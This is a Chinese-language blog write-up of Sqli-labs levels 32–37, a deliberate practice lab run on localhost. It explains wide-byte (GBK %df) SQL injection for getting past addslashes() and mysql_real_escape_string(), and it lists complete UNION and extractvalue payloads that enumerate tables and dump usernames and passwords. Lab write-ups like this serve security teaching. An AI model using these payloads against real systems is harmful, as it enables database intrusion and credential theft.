Hed9eh0g

前进的路上总是孤独的

Sqli-labs Less32-37 Writeup

本文共计有3683个字

前言

这几关考察的是宽字节注入,用于绕过addslashes()函数。在解决关卡之前先来讲讲什么是宽字节注入。

宽字节注入

宽字节定义

GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,它们都是两字节,而ASCII字符是一个字节,而我们就是要利用两者的字节数的不同来搞事情。

addslashes函数

返回在预定义字符之前添加反斜杠(\)的字符串,而预定义字符包括:单引号(’)、双引号(”)、反斜杠(\)、NULL。

原理

mysql 在使用GBK 编码的时候,会认为两个字符为一个汉字,例如%df%aa 就是一个汉字(其中前一个ascii 码大于128 才能到汉字的范围)。如果后台对字符串进行addslashes处理,相当于添加了一个字节%5c(反斜杠的url编码),如果能够在被添加的这个位置前构造一个大于128的字节(如%df),那么mysql就会认为%df%5c是一个汉字,这时候就把addslashes所添加的反斜杠给消掉了,也就是让addslashes失效了。

Less-32

首先常规注入:

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1' union select 1,database(),3--+

页面回显:

《Sqli-labs Less32-37 Writeup》

根据hint可以知道,我们的payload被addslashes函数处理了,单引号被转义了,无法实现闭合作用。如果我们能够让该反斜杠消去即可把单引号逃逸出来,就能重新恢复单引号的闭合作用。

让反斜杠消去就要用到刚才提到的宽字节注入了,构造payload:

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,database(),3--+

页面显示:

《Sqli-labs Less32-37 Writeup》爆库成功了,这是因为%df会与后来所添加的反斜杠结合形成一个汉字,成功让单引号不被转义。

所以其他操作的payload:

127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3--+
127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3--+

Less-33

这一关与上一关相同,只不过后台的源码的addslashes不是自定义的,而是使用php内置的addslashes函数,所以可以使用上一关的payload。

Less-34

这一关仍然是使用宽字节注入,不过是POST传值,由于POST与GET不同(后者会对%df进行url解码,而前者则没有这个操作),所以我们要提前对%df进行url解码之后再构造payload:

username:�' and extractvalue(1,concat(1,database()))#
username:�' and extractvalue(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
username:�' and extractvalue(1,concat(1,(select (column_name) from information_schema.columns where table_name=0x7573657273 limit 0,1)))#
username:�' and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)))#

其中的’�’可以利用自己写的php脚本来获得:

<?php
   $a='%df';
   $b=urldecode($a);
   echo $b;
?>

Less-35

这道题是数值型注入,不需要’闭合,不需要绕过addslashes()的限制。

127.0.0.1/sqli-labs-master/Less-35/?id=-1 union select 1,database(),3--+
127.0.0.1/sqli-labs-master/Less-35/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
127.0.0.1/sqli-labs-master/Less-35/?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3--+
127.0.0.1/sqli-labs-master/Less-35/?id=-1 union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3--+

Less-36

这一关的源码自定义了一个新的函数mysql_real_escape_string()进行转义处理,它会转义以下字符:\x00、\n、\r、反斜杠\、单引号’、双引号”、\x1a。看似是把函数升级了,可好像并没有影响之前的payload:

127.0.0.1/sqli-labs-master/Less-36/?id=-1%df' union select 1,database(),3--+
127.0.0.1/sqli-labs-master/Less-36/?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
127.0.0.1/sqli-labs-master/Less-36/?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3--+
127.0.0.1/sqli-labs-master/Less-36/?id=-1%df' union select 1,(select group_concat(username,0x3a,password,0x3c2f62723e) from security.users),3--+

Less-37

依旧是POST的宽字节注入,和之前那道post的区别是,这题过滤用的是mysql_real_escape_string(),但是绕过方法是一样的。

username:�' and extractvalue(1,concat(1,database()))#
username:�' and extractvalue(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
username:�' and extractvalue(1,concat(1,(select (column_name) from information_schema.columns where table_name=0x7573657273 limit 0,1)))#
username:�' and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)))#

参考文章

von大佬的文章

 

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注